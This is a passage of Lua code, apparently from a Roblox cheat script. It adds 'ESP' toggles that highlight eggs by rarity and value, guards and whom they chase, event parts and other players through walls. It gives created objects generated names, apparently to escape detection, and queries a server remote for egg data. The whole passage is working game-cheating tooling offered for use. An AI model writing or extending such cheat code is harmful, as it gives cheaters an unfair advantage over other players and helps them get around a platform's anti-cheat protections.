local n28 = #tbl37 + 1
local tbl39 = {
Uid = "base:" .. str6,
AssetCategory = v34.AssetCategory,
AssetScale = v34.AssetScale,
Mutations = mutations,
}
tbl39.BaseMutation = v34.BaseMutation or mutations[1]
tbl39.State = "Base"
tbl39.AreaId = "Your Base"
if not ok2 then
result2 = ok2
end
result2 = result2 or nil
tbl39.BottomCFrame = result2
tbl39.Model = v35
tbl37[n28] = tbl39
end
end
end
return tbl37
end
local function fn46(arg, arg2)
if arg.State == "Claimed" then
return false
end
if tbl32.MinRarity > 0 and arg2.Number < tbl32.MinRarity then
return false
end
local flag8 = tbl32.MinValue > 0
if flag8 then
local minValue = tbl32.MinValue
flag8 = fn44(arg, arg2) < minValue
end
if flag8 then
return false
end
return true
end
local function fn47(arg, arg2, arg3)
local model, hitbox
if typeof(arg2.Model) == "Instance" then
model = arg2.Model
hitbox = model:FindFirstChild("Hitbox", true)
or model:FindFirstChildWhichIsA("BasePart", true)
local isBasePart = hitbox and hitbox:IsA("BasePart")
if not isBasePart then
hitbox = isBasePart
end
hitbox = hitbox or nil
else
local v33, v34 = fn38(arg2.Uid)
model = v33
hitbox = v34
end
local bottomCFrame = arg2.BottomCFrame
if typeof(bottomCFrame) == "CFrame" then
local terrain = hitbox or workspace.Terrain
if arg.Anchor ~= terrain or arg.CFrame ~= bottomCFrame then
arg.Anchor = terrain
arg.CFrame = bottomCFrame
arg.Billboard.Adornee = terrain
hitbox = hitbox and hitbox.Position.Y - bottomCFrame.Position.Y
hitbox = hitbox or 1
arg.Billboard.StudsOffsetWorldSpace = bottomCFrame.Position
- terrain.Position
+ Vector3.new(0, hitbox + n20, 0)
end
end
local info = tbl32.Info
local baseMutation = arg2.BaseMutation
local flag8 = type(baseMutation) == "string" and baseMutation ~= ""
local n28 = tonumber(arg2.AssetScale) or 1
local flag9 = info.Icon == true and arg3.Icon ~= nil
if flag9 and arg.Icon.Image ~= tostring(arg3.Icon) then
arg.Icon.Image = tostring(arg3.Icon)
end
local flag10 = info.Name == true
if flag10 then
tbl23.SetRow(arg.NameRow, arg3.DisplayName, tbl29)
end
local flag11 = info.Rarity == true and arg3.Name ~= ""
if flag11 then
local rarityPalette = arg3.RarityPalette
tbl23.SetRow(arg.RarityRow, string.upper(arg3.Name), rarityPalette)
end
local flag12 = info.Mutation == true
if not flag12 then
flag8 = flag12
end
if flag8 then
local setRow = tbl23.SetRow
local mutationRow = arg.MutationRow
local v33 = string.upper(fn10(baseMutation))
local v34 = tbl30[baseMutation] or v30
setRow(mutationRow, v33, v34)
end
local flag13 = info.Value == true
if flag13 then
tbl23.SetRow(arg.ValueRow, "$" .. fn39(fn44(arg2, arg3)) .. "/s", v29)
end
local tbl37 = {}
local eggRecords = tbl.EggRecords
if
info.Weight
and type(eggRecords) == "table"
and type(eggRecords.WeightKgForScale) == "function"
then
local ok, result = pcall(eggRecords.WeightKgForScale, arg2.AssetCategory, n28)
ok = ok and tonumber(result)
if ok then
table.insert(tbl37, fn39(result) .. " kg")
end
end
if info.Size then
table.insert(tbl37, string.format("x%.2f", n28))
end
if
info["Sell Price"]
and type(eggRecords) == "table"
and type(eggRecords.SellPrice) == "function"
then
local ok, result = pcall(eggRecords.SellPrice, arg2)
ok = ok and tonumber(result)
if ok then
table.insert(tbl37, "$" .. fn39(result))
end
end
if info.Distance and typeof(bottomCFrame) == "CFrame" then
local character = localPlayer.Character
character = character and character:FindFirstChild("HumanoidRootPart")
if character then
table.insert(
tbl37,
string.format(
"%dm",
math.floor((character.Position - bottomCFrame.Position).Magnitude + 0.5)
)
)
end
end
if info.Area and arg2.AreaId ~= nil then
table.insert(tbl37, tostring(arg2.AreaId))
end
if info.State and arg2.State ~= nil and arg2.State ~= "Slot" then
table.insert(tbl37, tostring(arg2.State))
end
local flag14 = #tbl37 > 0
if flag14 then
tbl23.SetRow(arg.ExtraRow, table.concat(tbl37, " | "), tbl23.Palettes.Sheen)
end
if
arg.ShowIcon ~= flag9
or arg.ShowName ~= flag10
or arg.ShowRarity ~= flag11
or arg.ShowMutation ~= flag8
or arg.ShowValue ~= flag13
or arg.ShowExtra ~= flag14
then
arg.ShowIcon = flag9
arg.ShowName = flag10
arg.ShowRarity = flag11
arg.ShowMutation = flag8
arg.ShowValue = flag13
arg.ShowExtra = flag14
fn41(arg)
end
if
(
tbl32.Highlight == tbl27[3]
or tbl32.Highlight == tbl27[2] and arg3.Number >= tbl32.HighlightMin
) and model
then
if not arg.Highlight and n27 < n19 then
local highlight = Instance.new("Highlight")
highlight.Name = fn5()
highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
highlight.FillTransparency = 0.82
highlight.OutlineTransparency = 0.05
highlight.FillColor = arg3.Color
highlight.OutlineColor = arg3.Palette.Outline
highlight.Parent = v32
arg.Highlight = highlight
n27 = n27 + 1
end
if arg.Highlight and arg.Highlight.Adornee ~= model then
arg.Highlight.Adornee = model
end
else
fn43(arg)
end
end
local function fn48(arg)
fn43(arg)
arg.Billboard:Destroy()
end
local function fn49()
local v33 = tbl33
local v34 = v32
tbl33 = {}
v32 = nil
n27 = 0
task.spawn(function()
local now = os.clock()
for _, v35 in pairs(v33) do
if v35.Highlight then
v35.Highlight:Destroy()
end
v35.Billboard:Destroy()
if n23 < os.clock() - now then
RunService.Heartbeat:Wait()
now = os.clock()
end
end
if v34 then
v34:Destroy()
end
end)
end
local function fn50(arg, arg2, arg3)
local function fn50()
local flag8 = arg2 == n26 and arg3 == n25 and flag6
return flag8
end
fn33()
local tbl37 = {}
local now = os.clock()
for _, v33 in pairs(arg) do
local uid = type(v33) == "table" and v33.Uid
if type(uid) == "string" and type(v33.AssetCategory) == "string" then
local v34 = fn32(v33.AssetCategory)
if tbl32.Eggs and fn46(v33, v34) then
tbl37[uid] = true
local v35 = tbl33[uid]
if not v35 then
v35 = fn42()
tbl33[uid] = v35
end
fn47(v35, v33, v34)
end
end
if not (n23 < os.clock() - now) then
continue
end
RunService.Heartbeat:Wait()
now = os.clock()
if not fn50() then
return
end
end
if tbl32.Eggs and tbl32.OwnBase then
for _, v33 in ipairs(fn45()) do
local v34 = fn32(v33.AssetCategory)
if fn46(v33, v34) then
tbl37[v33.Uid] = true
local v35 = tbl33[v33.Uid]
if not v35 then
local v36 = fn42()
tbl33[v33.Uid] = v36
v35 = v36
end
fn47(v35, v33, v34)
end
end
end
for k, v33 in pairs(tbl33) do
if not tbl37[k] then
tbl33[k] = nil
fn48(v33)
end
end
return true
end
local flag8 = false
local flag9 = false
fn35 = function()
if not flag6 or not v31 then
return
end
flag8 = true
if flag9 then
return
end
flag9 = true
task.defer(function()
while true do
local v33 = flag6
if flag6 then
v33 = v31
end
v33 = v33 and flag8
if v33 then
flag8 = false
n26 = n26 + 1
local ok, result = pcall(fn50, v31, n26, n25)
ok = ok and result ~= true
if ok then
flag8 = true
end
RunService.Heartbeat:Wait()
continue
end
break
end
flag9 = false
end)
end
local function fn51()
local v33 = n25
local flag10 = v31
if v31 then
flag10 = next(tbl33) == nil
end
if flag10 then
fn35()
end
local eggState = tbl.EggState
local flag11 = type(eggState) == "table" and type(eggState.ReadFieldEggs) == "function"
local records = nil
if flag11 then
local ok, result = pcall(eggState.ReadFieldEggs)
ok = ok and type(result) == "table"
ok = ok and type(result.Records) == "table"
records = nil
if ok then
records = result.Records
end
end
if records == nil and rfEggWorldAskFieldEggSnapshot and os.clock() >= n24 then
n24 = os.clock() + 30
local ok, result =
pcall(rfEggWorldAskFieldEggSnapshot.InvokeServer, rfEggWorldAskFieldEggSnapshot)
ok = ok and type(result) == "table"
ok = ok and type(result.Records) == "table"
if ok then
records = result.Records
end
end
if v33 ~= n25 or not flag6 then
return
end
if records ~= nil then
local tbl37 = {}
for k, record in pairs(records) do
tbl37[k] = record
end
v31 = tbl37
end
if v31 then
fn35()
end
end
local function fn52()
task.spawn(pcall, fn51)
end
local function fn53()
if flag7 then
return
end
flag7 = true
task.delay(0.5, function()
flag7 = false
if flag6 then
fn52()
end
end)
end
fn36 = function()
for _, v33 in pairs(tbl33) do
fn34(v33)
end
end
local function fn54()
flag6 = false
n25 = n25 + 1
n26 = n26 + 1
tbl23.DisconnectAll(tbl34)
fn49()
end
local function fn55()
if flag6 then
fn52()
return
end
flag6 = true
local v33 = n25
local eggState = tbl.EggState
if type(eggState) == "table" then
for _, v34 in ipairs({
"FieldRefreshed",
"FieldShifted",
"FieldGone",
"FieldClaimed",
"SnapshotRefreshed",
}) do
local v35 = eggState[v34]
if type(v35) == "table" and type(v35.Connect) == "function" then
local ok, result = pcall(v35.Connect, v35, fn53)
ok = ok and result
if ok then
table.insert(tbl34, result)
end
end
end
end
for _, v34 in ipairs({ "AreaEggSlotsClient", "PlacedEggRenders" }) do
local v35 = workspace:FindFirstChild(v34)
if v35 then
table.insert(tbl34, v35.ChildAdded:Connect(fn53))
table.insert(tbl34, v35.ChildRemoved:Connect(fn53))
end
end
task.spawn(function()
while v33 == n25 do
task.wait(10)
if v33 == n25 then
fn53()
continue
end
break
end
end)
task.spawn(function()
while v33 == n25 do
task.wait(1)
if v33 == n25 then
if tbl32.Info.Distance then
fn35()
end
continue
end
break
end
end)
fn52()
end
local function fn56()
if tbl32.Eggs then
fn55()
else
fn54()
end
end
tbl36 = { Eggs = nil }
local tbl37 = { Eggs = false }
local flag10 = false
local function fn57()
if flag10 then
return
end
local v33 = tbl23.ReadToggle(tbl36.Eggs, tbl37.Eggs)
if v33 == tbl32.Eggs and flag6 == v33 then
return
end
tbl32.Eggs = v33
fn56()
end
fn6(function()
flag10 = true
tbl32.Eggs = false
fn54()
end)
fn37 = function(arg)
local tbl38 = {}
if type(arg) == "table" then
for k, v33 in pairs(arg) do
local flag11 = v33 == true and type(k) == "string"
if not flag11 then
k = flag11
end
k = k or type(v33) == "string" and v33
k = k or nil
if k then
tbl38[k] = true
end
end
end
return tbl38
end
tbl36.Eggs = espSection:CreateToggle({
Name = "ESP Eggs",
Default = false,
Callback = function(arg)
tbl37.Eggs = arg == true
tbl23.SyncSoon(fn57)
end,
})
end
espSection:CreateToggle({
Name = "ESP Fixed Size",
Default = false,
SubOf = tbl36.Eggs,
Callback = function(arg)
local flag8 = arg == true
if tbl32.FixedSize ~= flag8 then
tbl32.FixedSize = flag8
fn36()
end
end,
})
espSection:CreateToggle({
Name = "ESP Own Base Eggs",
Note = "Also show the eggs placed in your own base",
Default = true,
SubOf = tbl36.Eggs,
Callback = function(arg)
tbl32.OwnBase = arg ~= false
fn35()
end,
})
local tbl37
tbl37 = { "Any" }
do
local tbl38 = { Any = 0 }
local tbl39 = {}
local tbl40 = {}
local tbl41 = { "Any Mutation", "No Mutation" }
local directory = tbl.Assets and tbl.Assets.Directory
local tbl42 = {}
local tbl43 = {}
if type(directory) == "table" then
for k, v33 in pairs(directory) do
local rarity = type(v33) == "table" and v33.Rarity or nil
local flag8 = type(rarity) == "table"
if flag8 then
local v34 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag8 = v34(rarityNumber)
end
flag8 = flag8 or nil
if flag8 then
local v34 = tostring
local displayName = rarity.DisplayName or rarity._id or flag8
local v35 = v34(displayName)
tbl42[flag8] = tbl42[flag8] or v35
local insert = table.insert
local tbl44 = { Category = tostring(k) }
local v36 = tostring
local displayName2 = v33.DisplayName or k
tbl44.Name = v36(displayName2)
tbl44.Rarity = flag8
tbl44.RarityName = v35
insert(tbl43, tbl44)
end
end
end
local tbl44 = {}
for k in pairs(tbl42) do
table.insert(tbl44, k)
end
table.sort(tbl44)
for _, v33 in ipairs(tbl44) do
local str5 = string.format("%d - %s", v33, tbl42[v33])
table.insert(tbl37, str5)
tbl38[str5] = v33
end
table.sort(tbl43, function(arg, arg2)
if arg.Rarity ~= arg2.Rarity then
return arg.Rarity > arg2.Rarity
end
return arg.Name < arg2.Name
end)
for _, v33 in ipairs(tbl43) do
local str5 = string.format("%s [%s]", v33.Name, v33.RarityName)
if tbl40[str5] then
str5 = string.format("%s [%s] (%s)", v33.Name, v33.RarityName, v33.Category)
end
table.insert(tbl39, str5)
tbl40[str5] = v33.Category
end
local tbl45 = {}
local mutations = tbl.Mutations
if type(mutations) == "table" and type(mutations.IdSet) == "table" then
for k in pairs(mutations.IdSet) do
table.insert(tbl45, tostring(k))
end
end
table.sort(tbl45)
for _, v33 in ipairs(tbl45) do
table.insert(tbl41, v33)
end
local function fn38(arg)
for _, v33 in ipairs(tbl37) do
if tbl38[v33] == arg then
return v33
end
end
return tbl37[1]
end
espSection:CreateDropdown({
Name = "ESP Min Rarity",
Note = "Show eggs of the chosen rarity and every rarity above it",
Options = tbl37,
Default = fn38(5),
SubOf = tbl36.Eggs,
Callback = function(arg)
local flag8 = type(arg) == "table" and arg[1] or arg
local v33 = tbl32
v33.MinRarity = tbl38[flag8] or 0
fn35()
end,
})
end
fn7(espSection:CreateMultiDropdown({
Name = "ESP Show Info",
Options = tbl25,
Default = tbl26,
SubOf = tbl36.Eggs,
Callback = function(arg)
tbl32.Info = fn37(arg)
fn35()
end,
}))
do
local tbl38 = {
["K/s"] = { Min = 0, Max = 1000, Mult = 1000 },
["M/s"] = { Min = 0, Max = 1000, Mult = 1000000 },
["B/s"] = { Min = 0, Max = 100, Mult = 1000000000 },
}
local v33 = nil
local n28 = 0
local str5 = "M/s"
local function fn38(arg, arg2)
if arg ~= nil then
local max = math.max
local floor = math.floor
local num = tonumber(arg) or n28
n28 = max(0, floor(num))
end
if arg2 ~= nil then
str5 = tostring(arg2)
end
local ms = tbl38[str5] or tbl38["M/s"]
tbl32.MinValue = n28 * ms.Mult
fn35()
end
v33 = espSection:CreateSlider({
Name = "ESP Min Value",
Min = 0,
Max = 1000,
Default = 0,
AllowDecimals = false,
Increment = 1,
Unit = {
Default = "M/s",
Selector = true,
Options = { "K/s", "M/s", "B/s" },
ColorEnabled = true,
Colors = {
Number = Color3.fromRGB(255, 255, 255),
Suffix = Color3.fromRGB(58, 255, 55),
},
Callback = function(arg)
local ms = tbl38[arg] or tbl38["M/s"]
local setRange = v33
if v33 then
setRange = v33.SetRange
end
if setRange then
v33:SetRange(ms.Min, ms.Max)
local min = tonumber(v33:Get()) or ms.Min
local min2 = ms.Min
local max = ms.Max
local n29 = math.clamp(math.floor(min + 0.5), min2, max)
if n29 ~= min then
str5 = tostring(arg)
v33:Set(n29)
return
end
fn38(n29, arg)
else
fn38(nil, arg)
end
end,
},
SubOf = tbl36.Eggs,
Callback = function(arg)
fn38(arg, nil)
end,
})
end
espSection:CreateSlider({
Name = "ESP Egg Size",
Min = 50,
Max = 200,
Default = 75,
Increment = 5,
Unit = "%",
SubOf = tbl36.Eggs,
Callback = function(arg)
local num = tonumber(arg)
if num and tbl32.SizeScale ~= num / 100 then
tbl32.SizeScale = num / 100
fn36()
end
end,
})
end
do
local n19 = 1
local n20 = 0.75
local tbl27 = {
Sleeping = tbl23.Palettes.Accent,
Waking = tbl23.Palettes.Gold,
Chasing = tbl23.Palettes.Red,
}
local orange = tbl23.Palettes.Orange
local tbl28 = {}
local tbl29 = {}
local flag6 = false
local v27 = nil
local function fn31(arg)
local attribute = arg:GetAttribute("GuardState")
if attribute == "Sleeping" then
return "Sleeping"
end
if attribute == "Waking" then
return "Waking Up"
end
if attribute == "Chasing" then
local attribute2 = arg:GetAttribute("TargetPlayer")
if attribute2 == tostring(localPlayer.UserId) then
return "Chasing You"
end
local playerByUserId = tonumber(attribute2)
and Players:GetPlayerByUserId(tonumber(attribute2))
playerByUserId = playerByUserId and "Chasing " .. playerByUserId.DisplayName
playerByUserId = playerByUserId or "Chasing"
return playerByUserId
end
attribute = attribute and tostring(attribute)
attribute = attribute or "Awake"
return attribute
end
local function fn32(arg, arg2)
local v28 = tbl27[arg2:GetAttribute("GuardState")] or orange
arg.Highlight.FillColor = v28.Outline
arg.Highlight.OutlineColor = v28.Outline
tbl23.SetRow(arg.StateRow, fn31(arg2), v28)
end
local function fn33(arg)
local floor = math.floor
arg.Tag.Size =
UDim2.fromOffset(tbl23.ScaledWidth(115, n20), floor(tbl23.RowHeight(n20) * 1.6))
end
local function fn34(arg)
local v28 = tbl28[arg]
if not v28 then
return
end
tbl28[arg] = nil
tbl23.DisconnectAll(v28.Connections)
v28.Highlight:Destroy()
v28.Tag:Destroy()
end
local function fn35(arg, arg2)
if tbl28[arg2] then
return
end
local v28 = tbl23.FindGuardRoot(arg2)
if not v28 then
return
end
if not v27 or not v27.Parent then
v27 = tbl23.CreateRuntime()
end
local highlight = Instance.new("Highlight")
highlight.Name = fn5()
highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
highlight.FillTransparency = 0.76
highlight.OutlineTransparency = 0.02
highlight.Adornee = arg2
highlight.Parent = v27
local ok, result, result2 = pcall(arg2.GetBoundingBox, arg2)
ok = ok and typeof(result) == "CFrame"
local n21 = 6
if ok then
n21 = result.Position.Y + result2.Y * 0.5 - v28.Position.Y + n19
end
local v29, v30 = tbl23.CreateTag(v27, math.huge)
v29.Adornee = v28
v29.StudsOffsetWorldSpace = Vector3.new(0, n21, 0)
local v31 = tbl23.CreateTextRow(v30, tbl23.StatusFont, 1, 0.45)
local v32 = tbl23.CreateTextRow(v30, tbl23.StatusFont, 2, 0.55)
local sheen = tbl23.Palettes.Sheen
tbl23.SetRow(v31, tostring(arg) .. " Guard", sheen)
local tbl30 = { Highlight = highlight, Tag = v29, StateRow = v32, Connections = {} }
tbl28[arg2] = tbl30
fn33(tbl30)
fn32(tbl30, arg2)
local function fn35()
fn32(tbl30, arg2)
end
table.insert(tbl30.Connections, arg2:GetAttributeChangedSignal("GuardState"):Connect(fn35))
table.insert(
tbl30.Connections,
arg2:GetAttributeChangedSignal("TargetPlayer"):Connect(fn35)
)
table.insert(
tbl30.Connections,
arg2.AncestryChanged:Connect(function()
if not arg2:IsDescendantOf(workspace) then
fn34(arg2)
end
end)
)
end
local function fn36()
flag6 = false
tbl23.DisconnectAll(tbl29)
for k in pairs(tbl28) do
fn34(k)
end
if v27 then
v27:Destroy()
v27 = nil
end
end
local function fn37()
if flag6 then
return
end
flag6 = true
tbl29 = tbl23.WatchGuards(fn35)
end
local v28 = nil
local flag7 = false
local flag8 = false
local function fn38()
if flag8 then
return
end
if tbl23.ReadToggle(v28, flag7) then
fn37()
elseif flag6 then
fn36()
end
end
fn6(function()
flag8 = true
fn36()
end)
v28 = espSection:CreateToggle({
Name = "ESP Guards",
Default = false,
Callback = function(arg)
flag7 = arg == true
tbl23.SyncSoon(fn38)
end,
})
espSection:CreateSlider({
Name = "ESP Guard Size",
Min = 50,
Max = 200,
Default = 75,
Increment = 5,
Unit = "%",
SubOf = v28,
Callback = function(arg)
local num = tonumber(arg)
if num and n20 ~= num / 100 then
n20 = num / 100
for _, v29 in pairs(tbl28) do
fn33(v29)
end
end
end,
})
end
do
local tbl27 = {
{ Id = "LostPart1", Label = "Mechanical Gear" },
{ Id = "LostPart2", Label = "Wiring Harness" },
}
local v27 = tbl23.PaletteFromColor(Color3.fromRGB(255, 216, 61))
local accent = tbl23.Palettes.Accent
local v28 = nil
local tbl28 = {}
local flag6 = false
local connection = nil
local v29 = nil
local flag7 = false
local flag8 = false
local function fn31(arg)
local v30 = tbl28[arg]
if not v30 then
return
end
tbl28[arg] = nil
pcall(function()
v30.Highlight:Destroy()
v30.Tag:Destroy()
end)
end
local function fn32()
local drScrambleEvent = workspace:FindFirstChild("DrScrambleEvent")
for _, v30 in ipairs(tbl27) do
local v31 = drScrambleEvent and drScrambleEvent:FindFirstChild(v30.Id)
local hitbox
if v31 then
hitbox = v31:FindFirstChild("Hitbox", true)
or v31.PrimaryPart
or v31:FindFirstChildWhichIsA("BasePart", true)
else
hitbox = v31
end
local tbl29 = tbl28[v30.Id]
if tbl29 and (tbl29.Model ~= v31 or not hitbox) then
fn31(v30.Id)
tbl29 = nil
end
if hitbox and not tbl29 then
if not v28 or not v28.Parent then
v28 = tbl23.CreateRuntime()
end
local highlight = Instance.new("Highlight")
highlight.Name = fn5()
highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
highlight.FillTransparency = 0.7
highlight.OutlineTransparency = 0.02
highlight.Adornee = v31
highlight.Parent = v28
local v32, v33 = tbl23.CreateTag(v28, 25000)
v32.Adornee = hitbox
v32.StudsOffsetWorldSpace = Vector3.new(0, 4, 0)
local floor = math.floor
v32.Size = UDim2.fromOffset(tbl23.ScaledWidth(160), floor(tbl23.RowHeight() * 1.6))
local v34 = tbl23.CreateTextRow(v33, tbl23.StatusFont, 1, 0.5)
local v35 = tbl23.CreateTextRow(v33, tbl23.StatusFont, 2, 0.5)
tbl23.SetRow(v34, v30.Label, tbl23.Palettes.Sheen)
tbl29 = {
Model = v31,
Hitbox = hitbox,
Highlight = highlight,
Tag = v32,
InfoRow = v35,
}
tbl28[v30.Id] = tbl29
end
if tbl29 then
local flag9 = type(tbl4.ScrambleLostPart) == "function"
and tbl4.ScrambleLostPart(v30.Id) == true
local v32 = flag9 and accent or v27
flag9 = flag9 and "Collected"
local str5 = flag9
or string.format("%d studs", math.floor(tbl4.DistanceTo(tbl29.Hitbox.Position)))
tbl23.SetRow(tbl29.InfoRow, str5, v32)
tbl29.Highlight.FillColor = v32.Outline
tbl29.Highlight.OutlineColor = v32.Outline
end
end
end
local function fn33()
flag6 = false
if connection then
connection:Disconnect()
connection = nil
end
for k in pairs(tbl28) do
fn31(k)
end
if v28 then
v28:Destroy()
v28 = nil
end
end
local function fn34()
if flag6 then
return
end
flag6 = true
local n19 = 1
connection = RunService.Heartbeat:Connect(function(arg)
n19 = n19 + arg
if n19 >= 0.3 then
n19 = 0
pcall(fn32)
end
end)
end
local function fn35()
if flag8 then
return
end
if tbl23.ReadToggle(v29, flag7) then
fn34()
elseif flag6 then
fn33()
end
end
fn6(function()
flag8 = true
fn33()
end)
v29 = espSection:CreateToggle({
Name = "ESP Lost Parts",
Default = false,
Callback = function(arg)
flag7 = arg == true
tbl23.SyncSoon(fn35)
end,
})
end
do
local TextService = game:GetService("TextService")
local font = Font.new(
"rbxasset://fonts/families/GothamSSm.json",
Enum.FontWeight.ExtraBold,
Enum.FontStyle.Normal
)
local new = ColorSequence.new
local tbl27 = {}
local v27 = ColorSequenceKeypoint.new(0, Color3.fromRGB(138, 255, 205))
local v28 = ColorSequenceKeypoint.new(0.5, Color3.fromRGB(125, 225, 255))
tbl27[1] = v27
tbl27[2] = v28
do
local values = table.pack(ColorSequenceKeypoint.new(1, Color3.fromRGB(210, 135, 255)))
table.move(values, 1, values.n, 3, tbl27)
end
local v29 = new(tbl27)
local colorSequence = ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.fromRGB(7, 73, 66)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(35, 17, 79)),
})
local flag6 = false
local n19 = 0
local v30 = nil
local tbl28 = {}
local tbl29 = {}
local tbl30 = {}
local tbl31 = {}
local n20 = 0.75
local tbl32 = { Name = true, Username = false, Avatar = false, Tool = true }
local v31 = nil
local flag7 = false
local flag8 = false
local function fn31(arg)
local v32 = tostring
arg = arg or ""
local v33 = v32(arg)
if v33:match("^%d+$") then
return "rbxassetid://" .. v33
end
return v33
end
local function fn32(arg)
if not arg or not arg:IsA("Tool") then
return ""
end
local v32 = fn31(arg.TextureId)
if v32 ~= "" then
return v32
end
for _, v33 in ipairs({ "Icon", "Image", "Thumbnail", "TextureId" }) do
local attribute = arg:GetAttribute(v33)
if type(attribute) == "string" and fn31(attribute) ~= "" then
return fn31(attribute)
end
end
for _, descendant in ipairs(arg:GetDescendants()) do
if descendant:IsA("Decal") or descendant:IsA("Texture") then
v32 = fn31(descendant.Texture)
elseif descendant:IsA("ImageLabel") or descendant:IsA("ImageButton") then
v32 = fn31(descendant.Image)
end
if v32 ~= "" then
return v32
end
end
return ""
end
local function fn33()
local currentCamera = workspace.CurrentCamera
currentCamera = currentCamera and currentCamera.ViewportSize.Y
local n21 = currentCamera or 1080
return math.max(1, math.floor(math.clamp(n21 * 0.024, 26, 35) * n20))
end
local function fn34(arg, arg2)
local str5 = arg .. "@" .. arg2
local v32 = tbl31[str5]
if v32 then
return v32
end
local getTextBoundsParams = Instance.new("GetTextBoundsParams")
getTextBoundsParams.Text = arg
getTextBoundsParams.Font = font
getTextBoundsParams.Size = arg2
getTextBoundsParams.Width = 1000
local ok, result = pcall(function()
return TextService:GetTextBoundsAsync(getTextBoundsParams)
end)
getTextBoundsParams:Destroy()
ok = ok and result.X
local n21
if ok then
n21 = ok
else
n21 = (utf8.len(arg) or #arg) * arg2 * 0.56
end
tbl31[str5] = n21
return n21
end
local function fn35(arg, arg2, arg3, arg4)
arg.ApplyStrokeMode = Enum.ApplyStrokeMode.Contextual
arg.Color = arg2
arg.LineJoinMode = Enum.LineJoinMode.Round
arg.Transparency = 0
local ok = pcall(function()
arg.StrokeSizingMode = Enum.StrokeSizingMode.ScaledSize
end)
if not ok then
arg3 = ok
end
arg3 = arg3 or arg4
arg.Thickness = arg3
end
local function fn36(arg, arg2)
local textLabel = Instance.new("TextLabel")
textLabel.Name = fn5()
textLabel.AnchorPoint = Vector2.new(0, 0.5)
textLabel.BackgroundTransparency = 1
textLabel.FontFace = font
textLabel.Text = ""
textLabel.TextScaled = true
textLabel.TextStrokeTransparency = 1
textLabel.TextXAlignment = Enum.TextXAlignment.Center
textLabel.TextYAlignment = Enum.TextYAlignment.Center
textLabel.ZIndex = arg2
textLabel.Parent = arg
return textLabel
end
local function fn37(arg, arg2)
local imageLabel = Instance.new("ImageLabel")
imageLabel.Name = fn5()
imageLabel.AnchorPoint = Vector2.new(0, 0.5)
imageLabel.BackgroundTransparency = 1
imageLabel.ScaleType = Enum.ScaleType.Fit
imageLabel.ZIndex = arg2
imageLabel.Parent = arg
local uiAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")
uiAspectRatioConstraint.Name = fn5()
uiAspectRatioConstraint.AspectRatio = 1
uiAspectRatioConstraint.Parent = imageLabel
return imageLabel
end
local function fn38(arg)
local v32 = fn33()
local flag9 = tbl32.Name == true or tbl32.Username == true
local flag10 = tbl32.Avatar == true
local flag11 = tbl32.Tool == true and arg.ToolIcon.Image ~= ""
local n21 = flag10 and math.floor(v32 * 0.72) or 0
local n22 = flag11 and math.floor(v32 * 0.82) or 0
local n23 = math.floor(v32 * 0.7)
local n24 = math.max(1, math.floor(v32 * 0.04))
local name = tbl32.Username == true and arg.Player.Name or arg.Player.DisplayName
arg.Name.Text = name
arg.Shadow.Text = name
local n25 = flag9 and math.floor(math.clamp(fn34(name, n23) + 4, n23, 230)) or 0
local n26 = 0
local n27 = 0
if flag10 then
n26 = 0 + n21
n27 = 0
end
local n28 = 0
if flag9 then
if n26 > 0 then
n28 = n26 + n24
else
n28 = n26
end
n26 = n28 + n25
end
local n29 = 0
if flag11 then
if not (0 < n26) then
n29 = n26
else
n29 = n26 + n24
end
n26 = n29 + n22
end
local n30 = math.max(n26, 1)
local n31 = 1 / n30
local n32 = 1 / v32
arg.Billboard.Size = UDim2.fromOffset(n30, v32)
arg.Avatar.Visible = flag10
arg.Name.Visible = flag9
arg.Shadow.Visible = flag9
arg.ToolIcon.Visible = flag11
arg.ToolShadow.Visible = flag11
arg.Avatar.Position = UDim2.fromScale(n27 / n30, 0.5)
arg.Avatar.Size = UDim2.fromScale(n21 / n30, n21 / v32)
arg.Name.Position = UDim2.fromScale(n28 / n30, 0.5)
arg.Name.Size = UDim2.fromScale(n25 / n30, n23 / v32)
arg.Shadow.Position = UDim2.fromScale(n28 / n30 + n31, 0.5 + n32)
arg.Shadow.Size = arg.Name.Size
arg.ToolIcon.Position = UDim2.fromScale(n29 / n30, 0.5)
arg.ToolIcon.Size = UDim2.fromScale(n22 / n30, n22 / v32)
arg.ToolShadow.Position = UDim2.fromScale(n29 / n30 + n31, 0.5 + n32)
arg.ToolShadow.Size = arg.ToolIcon.Size
end
local function fn39(arg, arg2, arg3, arg4)
local highlight = Instance.new("Highlight")
highlight.Name = fn5()
highlight.Adornee = arg2
highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
highlight.FillColor = Color3.fromRGB(0, 67, 148)
highlight.FillTransparency = 0.76
highlight.OutlineColor = Color3.fromRGB(72, 207, 255)
highlight.OutlineTransparency = 0.02
highlight.Parent = v30
local v32 = arg4 or arg3
local n21 = 3.1
if v32 ~= arg3 then
n21 = math.clamp(arg3.Position.Y - v32.Position.Y + 3.1, 3.8, 6)
end
local billboardGui = Instance.new("BillboardGui")
billboardGui.Name = fn5()
billboardGui.Adornee = v32
billboardGui.AlwaysOnTop = true
billboardGui.LightInfluence = 0
billboardGui.MaxDistance = math.huge
billboardGui.Size = UDim2.fromOffset(1, 1)
billboardGui.StudsOffsetWorldSpace = Vector3.new(0, n21, 0)
billboardGui.Parent = v30
local frame = Instance.new("Frame")
frame.Name = fn5()
frame.Size = UDim2.fromScale(1, 1)
frame.BackgroundTransparency = 1
frame.Parent = billboardGui
local v33 = fn37(frame, 2)
v33.ScaleType = Enum.ScaleType.Crop
local uiCorner = Instance.new("UICorner")
uiCorner.Name = fn5()
uiCorner.CornerRadius = UDim.new(1, 0)
uiCorner.Parent = v33
local v34 = fn36(frame, 1)
v34.TextColor3 = Color3.fromRGB(7, 19, 34)
v34.TextTransparency = 0.05
local v35 = fn36(frame, 2)
v35.TextColor3 = Color3.fromRGB(255, 255, 255)
local uiStroke = Instance.new("UIStroke")
uiStroke.Name = fn5()
fn35(uiStroke, Color3.fromRGB(255, 255, 255), 0.044, 1.4)
uiStroke.Parent = v35
local uiGradient = Instance.new("UIGradient")
uiGradient.Name = fn5()
uiGradient.Color = colorSequence
uiGradient.Rotation = 90
uiGradient.Parent = uiStroke
local uiGradient2 = Instance.new("UIGradient")
